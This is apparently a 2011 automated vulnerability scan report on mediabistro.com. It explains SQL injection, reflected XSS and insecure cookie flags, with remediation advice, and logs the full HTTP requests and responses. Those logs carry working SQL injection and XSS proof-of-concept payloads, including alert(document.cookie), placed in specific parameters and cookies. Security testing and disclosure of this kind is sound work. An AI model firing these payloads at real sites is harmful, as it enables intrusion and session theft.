SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.
Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.
Issue remediation
The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.
You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:
One common defence is to double up any single quotation marks appearing within user input before incorporating that input into a SQL query. This defence is designed to prevent malformed data from terminating the string in which it is inserted. However, if the data being incorporated into queries is numeric, then the defence may fail, because numeric data may not be encapsulated within quotes, in which case only a space is required to break out of the data context and interfere with the query. Further, in second-order SQL injection attacks, data that has been safely escaped when initially inserted into the database is subsequently read from the database and then passed back to it again. Quotation marks that have been doubled up initially will return to their original form when the data is reused, allowing the defence to be bypassed.
Another often cited defence is to use stored procedures for database access. While stored procedures can provide security benefits, they are not guaranteed to prevent SQL injection attacks. The same kinds of vulnerabilities that arise within standard dynamic SQL queries can arise if any SQL is dynamically constructed within stored procedures. Further, even if the procedure is sound, SQL injection can arise if the procedure is invoked in an unsafe manner using user-controllable data.
The ax-sess-www.mediabistro.com cookie appears to be vulnerable to SQL injection attacks. The payloads 12945707'%20or%201%3d1--%20 and 12945707'%20or%201%3d2--%20 were each submitted in the ax-sess-www.mediabistro.com cookie. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /events/common/newsletterRegistrationForm.asp?newsletter=Daily%20Email&newsletterID=66 HTTP/1.1 Host: www.mediabistro.com Proxy-Connection: keep-alive Referer: http://www.allfacebook.com/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ax-sess-www.mediabistro.com=CHFLAEAK12945707'%20or%201%3d1--%20; ASPSESSIONIDQQCBBRTT=HNLOIBDDCNIPHLODIALDOJCI
The ax-sess-www.mediabistro.com cookie appears to be vulnerable to SQL injection attacks. The payloads 13310755'%20or%201%3d1--%20 and 13310755'%20or%201%3d2--%20 were each submitted in the ax-sess-www.mediabistro.com cookie. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
HTTP/1.1 200 OK Date: Sun, 27 Mar 2011 01:05:51 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html Expires: Sun, 27 Mar 2011 01:05:51 GMT Set-Cookie: ASPSESSIONIDQSBCDSQR=IHCJKFDDPDOCLLJLIBBLOFOF; path=/ Cache-control: Private Vary: Accept-encoding Set-Cookie: ax-sess-www.mediabistro.com=DDFLAEAK; Expires=Sun, 27-Mar-2011 03:05:50 GMT; Path=/ Content-Length: 29189
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<meta name="title" content="mediabistro.com: jobs, classes, community and news for media professionals" /> <meta name="description" content="Jobs and recruiting for media professionals in journalism, on-line content, book publishing, TV, radio, PR, graphic design, photography, and advertising" /> <meta name="keywords" content="jobs journalism jobs media jobs journalism and jobs media and jobs mediabistro.com employment journalism internships journalism fellowships job fairs journalists writer jobs reporter jobs editor jobs producer jobs editing jobs writing jobs reporting jobs newspaper jobs radio jobs tv jobs television jobs broadcast jobs print jobs production jobs magazine jobs news newspapers web content media news media gossip online writing jobs publishing jobs public relations jobs internet freelance writing jobs related jobs editor openings writing openings career advice copy editor director anchor post your resume portfolios post a portfolio" /> <meta name="ROBOTS" content="NOARCHIVE" />
HTTP/1.1 200 OK Date: Sun, 27 Mar 2011 01:06:31 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html Expires: Sun, 27 Mar 2011 01:06:31 GMT Cache-control: Private Vary: Accept-encoding Set-Cookie: ax-sess-www.mediabistro.com=CHFLAEAK; Expires=Sun, 27-Mar-2011 03:05:52 GMT; Path=/ Content-Length: 29189
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<meta name="title" content="mediabistro.com: jobs, classes, community and news for media professionals" /> <meta name="description" content="Jobs and recruiting for media professionals in journalism, on-line content, book publishing, TV, radio, PR, graphic design, photography, and advertising" /> <meta name="keywords" content="jobs journalism jobs media jobs journalism and jobs media and jobs mediabistro.com employment journalism internships journalism fellowships job fairs journalists writer jobs reporter jobs editor jobs producer jobs editing jobs writing jobs reporting jobs newspaper jobs radio jobs tv jobs television jobs broadcast jobs print jobs production jobs magazine jobs news newspapers web content media news media gossip online writing jobs publishing jobs public relations jobs internet freelance writing jobs related jobs editor openings writing openings career advice copy editor director anchor post your resume portfolios post a portfolio" /> <meta name="ROBOTS" content="NOARCHIVE" />
Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the newsletter request parameter is copied into the HTML document as plain text between tags. The payload d32c7<script>alert(1)</script>20bd2abcbd0 was submitted in the newsletter parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /events/common/newsletterRegistrationForm.asp?newsletter=Daily%20Emaild32c7<script>alert(1)</script>20bd2abcbd0&newsletterID=66 HTTP/1.1 Host: www.mediabistro.com Proxy-Connection: keep-alive Referer: http://www.allfacebook.com/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ax-sess-www.mediabistro.com=CHFLAEAK; ASPSESSIONIDQQCBBRTT=HNLOIBDDCNIPHLODIALDOJCI
Response
HTTP/1.1 200 OK Date: Sun, 27 Mar 2011 00:42:50 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html Cache-control: private Vary: Accept-encoding Content-Length: 2035
The value of the newsletterID request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8d48f"><script>alert(1)</script>7e657a89533 was submitted in the newsletterID parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /events/common/newsletterRegistrationForm.asp?newsletter=Daily%20Email&newsletterID=668d48f"><script>alert(1)</script>7e657a89533 HTTP/1.1 Host: www.mediabistro.com Proxy-Connection: keep-alive Referer: http://www.allfacebook.com/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ax-sess-www.mediabistro.com=CHFLAEAK; ASPSESSIONIDQQCBBRTT=HNLOIBDDCNIPHLODIALDOJCI
Response
HTTP/1.1 200 OK Date: Sun, 27 Mar 2011 00:42:53 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html Cache-control: private Vary: Accept-encoding Content-Length: 2037
The value of the msg request parameter is copied into the HTML document as plain text between tags. The payload d1944<script>alert(1)</script>7a444f3c160 was submitted in the msg parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the ref request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d73fc'%3balert(1)//0eaa07b5335 was submitted in the ref parameter. This input was echoed as d73fc';alert(1)//0eaa07b5335 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the ref request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7f028"><script>alert(1)</script>ff93d9dcd36 was submitted in the ref parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the ref request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 12331'%3balert(1)//2f04ec19d2 was submitted in the ref parameter. This input was echoed as 12331';alert(1)//2f04ec19d2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the OccupationDiv request parameter is copied into the HTML document as plain text between tags. The payload 4314b<script>alert(1)</script>1b94c206d405c2bb6 was submitted in the OccupationDiv parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
The value of the OccupationOther request parameter is copied into the HTML document as plain text between tags. The payload f5f0b<script>alert(1)</script>8b8d78c48dbd5516 was submitted in the OccupationOther parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
If the secure flag is set on a cookie, then browsers will not submit the cookie in any requests that use an unencrypted HTTP connection, thereby preventing the cookie from being trivially intercepted by an attacker monitoring network traffic. If the secure flag is not set, then the cookie will be transmitted in clear-text if the user visits any HTTP URLs within the cookie's scope. An attacker may be able to induce this event by feeding a user suitable links, either directly or via another web site. Even if the domain which issued the cookie does not host any content that is accessed over HTTP, an attacker may be able to use links of the form http://example.com:443/ to perform the same attack.
Issue remediation
The secure flag should be set on all cookies that are used for transmitting sensitive data when accessing content over HTTPS. If cookies are used to transmit session tokens, then areas of the application that are accessed over HTTPS should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /common_v3/javascript/overlib_mini.js HTTP/1.1 Host: www.mediabistro.com Connection: keep-alive Referer: https://www.mediabistro.com/memberscenter/login.asp?ref=%2Fjoblistings%2Fjobview%2Easpd73fc'%3balert(document.cookie)//0eaa07b5335&msg=joblistings%5Flogin%5Fwhy&joid=113412&page=1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=48117563.1301186581.1.1.utmcsr=allfacebook.com|utmccn=(referral)|utmcmd=referral|utmcct=/functions/page/displayAdIframe.php; __qca=P0-756650417-1301186665355; __gads=ID=4651d2ad207b5402:T=1301186618:S=ALNI_Mbu9VZBulJAjbgQQ2SaidSuIGQKWQ; __utma=48117563.401167029.1301186581.1301186581.1301186581.1; ASPSESSIONIDSSBCCSQT=PPPOMCGDMIMHECFNLDLPBJAO
//\////////////////////////////////////////////////////////////////////////////////// //\ overLIB 3.51 -- This notice must remain untouched at all times. //\ Copyright Erik Bosrup 1998-2002. All ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /common_v4/css/base.css HTTP/1.1 Host: www.mediabistro.com Connection: keep-alive Referer: https://www.mediabistro.com/memberscenter/login.asp?ref=%2Fjoblistings%2Fjobview%2Easpd73fc'%3balert(document.cookie)//0eaa07b5335&msg=joblistings%5Flogin%5Fwhy&joid=113412&page=1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: text/css,*/*;q=0.1 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=48117563.1301186581.1.1.utmcsr=allfacebook.com|utmccn=(referral)|utmcmd=referral|utmcct=/functions/page/displayAdIframe.php; __qca=P0-756650417-1301186665355; __gads=ID=4651d2ad207b5402:T=1301186618:S=ALNI_Mbu9VZBulJAjbgQQ2SaidSuIGQKWQ; __utma=48117563.401167029.1301186581.1301186581.1301186581.1; ASPSESSIONIDSSBCCSQT=PPPOMCGDMIMHECFNLDLPBJAO
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /common_v4/css/main.css HTTP/1.1 Host: www.mediabistro.com Connection: keep-alive Referer: https://www.mediabistro.com/memberscenter/login.asp?ref=%2Fjoblistings%2Fjobview%2Easpd73fc'%3balert(document.cookie)//0eaa07b5335&msg=joblistings%5Flogin%5Fwhy&joid=113412&page=1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: text/css,*/*;q=0.1 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=48117563.1301186581.1.1.utmcsr=allfacebook.com|utmccn=(referral)|utmcmd=referral|utmcct=/functions/page/displayAdIframe.php; __qca=P0-756650417-1301186665355; __gads=ID=4651d2ad207b5402:T=1301186618:S=ALNI_Mbu9VZBulJAjbgQQ2SaidSuIGQKWQ; __utma=48117563.401167029.1301186581.1301186581.1301186581.1; ASPSESSIONIDSSBCCSQT=PPPOMCGDMIMHECFNLDLPBJAO
Response
HTTP/1.1 200 OK Content-Type: text/css Last-Modified: Mon, 06 Dec 2010 21:40:07 GMT Accept-Ranges: bytes ETag: "42c14e268e95cb1:3b04" Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Date: Sun, 27 Mar 2011 11:34:55 GMT Vary: Accept-encoding Set-Cookie: ax-sess-www.mediabistro.com=CHFLAEAK; Expires=Sun, 27-Mar-2011 13:34:17 GMT; Path=/ Content-Length: 9471
body { } .header {FONT-WEIGHT: 600;FONT-SIZE: 24px;COLOR: #666666;} H2 {FONT-SIZE: 12px;MARGIN-TOP: 0px;MARGIN-BOTTOM: 4px;COLOR: #ff6600;} .subhead {MARGIN-TOP: 0px;MARGIN-BOTTOM: 4px; COLOR ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /common_v4/css/navmenu.css HTTP/1.1 Host: www.mediabistro.com Connection: keep-alive Referer: https://www.mediabistro.com/memberscenter/login.asp?ref=%2Fjoblistings%2Fjobview%2Easpd73fc'%3balert(document.cookie)//0eaa07b5335&msg=joblistings%5Flogin%5Fwhy&joid=113412&page=1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: text/css,*/*;q=0.1 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=48117563.1301186581.1.1.utmcsr=allfacebook.com|utmccn=(referral)|utmcmd=referral|utmcct=/functions/page/displayAdIframe.php; __qca=P0-756650417-1301186665355; __gads=ID=4651d2ad207b5402:T=1301186618:S=ALNI_Mbu9VZBulJAjbgQQ2SaidSuIGQKWQ; __utma=48117563.401167029.1301186581.1301186581.1301186581.1; ASPSESSIONIDSSBCCSQT=PPPOMCGDMIMHECFNLDLPBJAO
Response
HTTP/1.1 200 OK Content-Type: text/css Last-Modified: Mon, 08 Feb 2010 16:38:29 GMT Accept-Ranges: bytes ETag: "ea30e25dda8ca1:3b04" Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Date: Sun, 27 Mar 2011 11:34:55 GMT Vary: Accept-encoding Set-Cookie: ax-sess-www.mediabistro.com=CHFLAEAK; Expires=Sun, 27-Mar-2011 13:34:17 GMT; Path=/ Content-Length: 1598
body { behavior:url("/common_v4/css/csshover3.htc"); }
/* site navigation menu */ #mb-nav-bg {position:relative;top:0px;left:0px;height:30px;width:auto;} #mb-nav-container {/*overflow:auto;*/} . ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /common_v4/css/v4.css HTTP/1.1 Host: www.mediabistro.com Connection: keep-alive Referer: https://www.mediabistro.com/memberscenter/login.asp?ref=%2Fjoblistings%2Fjobview%2Easpd73fc'%3balert(document.cookie)//0eaa07b5335&msg=joblistings%5Flogin%5Fwhy&joid=113412&page=1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: text/css,*/*;q=0.1 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=48117563.1301186581.1.1.utmcsr=allfacebook.com|utmccn=(referral)|utmcmd=referral|utmcct=/functions/page/displayAdIframe.php; __qca=P0-756650417-1301186665355; __gads=ID=4651d2ad207b5402:T=1301186618:S=ALNI_Mbu9VZBulJAjbgQQ2SaidSuIGQKWQ; __utma=48117563.401167029.1301186581.1301186581.1301186581.1; ASPSESSIONIDSSBCCSQT=PPPOMCGDMIMHECFNLDLPBJAO
Response
HTTP/1.1 200 OK Content-Type: text/css Last-Modified: Wed, 16 Mar 2011 16:13:15 GMT Accept-Ranges: bytes ETag: "58e12aef5e3cb1:386e" Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Date: Sun, 27 Mar 2011 11:34:17 GMT Vary: Accept-encoding Set-Cookie: ax-sess-www.mediabistro.com=DDFLAEAK; Expires=Sun, 27-Mar-2011 13:34:17 GMT; Path=/ Content-Length: 14403
body, html {padding:0;margin:0;} body {font-size:12px;font-weight:normal;font-family:verdana, arial, sans-serif;line-height:1.22;color:#333;background-color:#fff;} INPUT, SELECT, TEXTAREA { font-size ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /common_v4/javascript/imagefunctions.js HTTP/1.1 Host: www.mediabistro.com Connection: keep-alive Referer: https://www.mediabistro.com/memberscenter/login.asp?ref=%2Fjoblistings%2Fjobview%2Easpd73fc'%3balert(document.cookie)//0eaa07b5335&msg=joblistings%5Flogin%5Fwhy&joid=113412&page=1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=48117563.1301186581.1.1.utmcsr=allfacebook.com|utmccn=(referral)|utmcmd=referral|utmcct=/functions/page/displayAdIframe.php; __qca=P0-756650417-1301186665355; __gads=ID=4651d2ad207b5402:T=1301186618:S=ALNI_Mbu9VZBulJAjbgQQ2SaidSuIGQKWQ; __utma=48117563.401167029.1301186581.1301186581.1301186581.1; ASPSESSIONIDSSBCCSQT=PPPOMCGDMIMHECFNLDLPBJAO
Response
HTTP/1.1 200 OK Content-Type: application/x-javascript Last-Modified: Fri, 14 Jan 2005 18:28:46 GMT Accept-Ranges: bytes ETag: "04317e266fac41:3b04" Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Date: Sun, 27 Mar 2011 11:34:55 GMT Vary: Accept-encoding Set-Cookie: ax-sess-www.mediabistro.com=CHFLAEAK; Expires=Sun, 27-Mar-2011 13:34:17 GMT; Path=/ Content-Length: 1929
function reveal() { hider.hide(); } function MM_PreloadImages() { //v2.0 if (document.images) { var imgFiles = MM_PreloadImages.arguments; if (document.preloadArray==null) document.p ...[SNIP]...
4. Cookie without HttpOnly flag setpreviousnext There are 10 instances of this issue:
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /joblistings/images/logos/e25838_1_logo_thm.png HTTP/1.1 Host: www.mediabistro.com Proxy-Connection: keep-alive Referer: http://www.allfacebook.com/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Content-Length: 682 Content-Type: image/png Last-Modified: Thu, 21 Oct 2010 16:43:55 GMT Accept-Ranges: bytes ETag: "9ca560263f71cb1:3b04" Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Date: Sun, 27 Mar 2011 00:42:13 GMT Set-Cookie: ax-sess-www.mediabistro.com=CHFLAEAK; Expires=Sun, 27-Mar-2011 02:41:35 GMT; Path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /memberscenter/javascript/sj-lightbox.js HTTP/1.1 Host: www.mediabistro.com Proxy-Connection: keep-alive Referer: http://www.allfacebook.com/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Content-Type: application/x-javascript Last-Modified: Thu, 10 Mar 2011 19:50:20 GMT Accept-Ranges: bytes ETag: "4e5842635cdfcb1:386e" Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Date: Sun, 27 Mar 2011 00:41:35 GMT Vary: Accept-encoding Set-Cookie: ax-sess-www.mediabistro.com=DDFLAEAK; Expires=Sun, 27-Mar-2011 02:41:35 GMT; Path=/ Content-Length: 2563
/* * Trigger Scoop Jobs sign-up lightbox. * * Usage: * <a href="javascript:void(0);" class="scoop-signup-activate site-allfacebook campaign-sjaf">Sign up!</a> * * First class marks link as a lig ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /common_v3/javascript/overlib_mini.js HTTP/1.1 Host: www.mediabistro.com Connection: keep-alive Referer: https://www.mediabistro.com/memberscenter/login.asp?ref=%2Fjoblistings%2Fjobview%2Easpd73fc'%3balert(document.cookie)//0eaa07b5335&msg=joblistings%5Flogin%5Fwhy&joid=113412&page=1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=48117563.1301186581.1.1.utmcsr=allfacebook.com|utmccn=(referral)|utmcmd=referral|utmcct=/functions/page/displayAdIframe.php; __qca=P0-756650417-1301186665355; __gads=ID=4651d2ad207b5402:T=1301186618:S=ALNI_Mbu9VZBulJAjbgQQ2SaidSuIGQKWQ; __utma=48117563.401167029.1301186581.1301186581.1301186581.1; ASPSESSIONIDSSBCCSQT=PPPOMCGDMIMHECFNLDLPBJAO
//\////////////////////////////////////////////////////////////////////////////////// //\ overLIB 3.51 -- This notice must remain untouched at all times. //\ Copyright Erik Bosrup 1998-2002. All ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /common_v4/css/base.css HTTP/1.1 Host: www.mediabistro.com Connection: keep-alive Referer: https://www.mediabistro.com/memberscenter/login.asp?ref=%2Fjoblistings%2Fjobview%2Easpd73fc'%3balert(document.cookie)//0eaa07b5335&msg=joblistings%5Flogin%5Fwhy&joid=113412&page=1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: text/css,*/*;q=0.1 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=48117563.1301186581.1.1.utmcsr=allfacebook.com|utmccn=(referral)|utmcmd=referral|utmcct=/functions/page/displayAdIframe.php; __qca=P0-756650417-1301186665355; __gads=ID=4651d2ad207b5402:T=1301186618:S=ALNI_Mbu9VZBulJAjbgQQ2SaidSuIGQKWQ; __utma=48117563.401167029.1301186581.1301186581.1301186581.1; ASPSESSIONIDSSBCCSQT=PPPOMCGDMIMHECFNLDLPBJAO
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
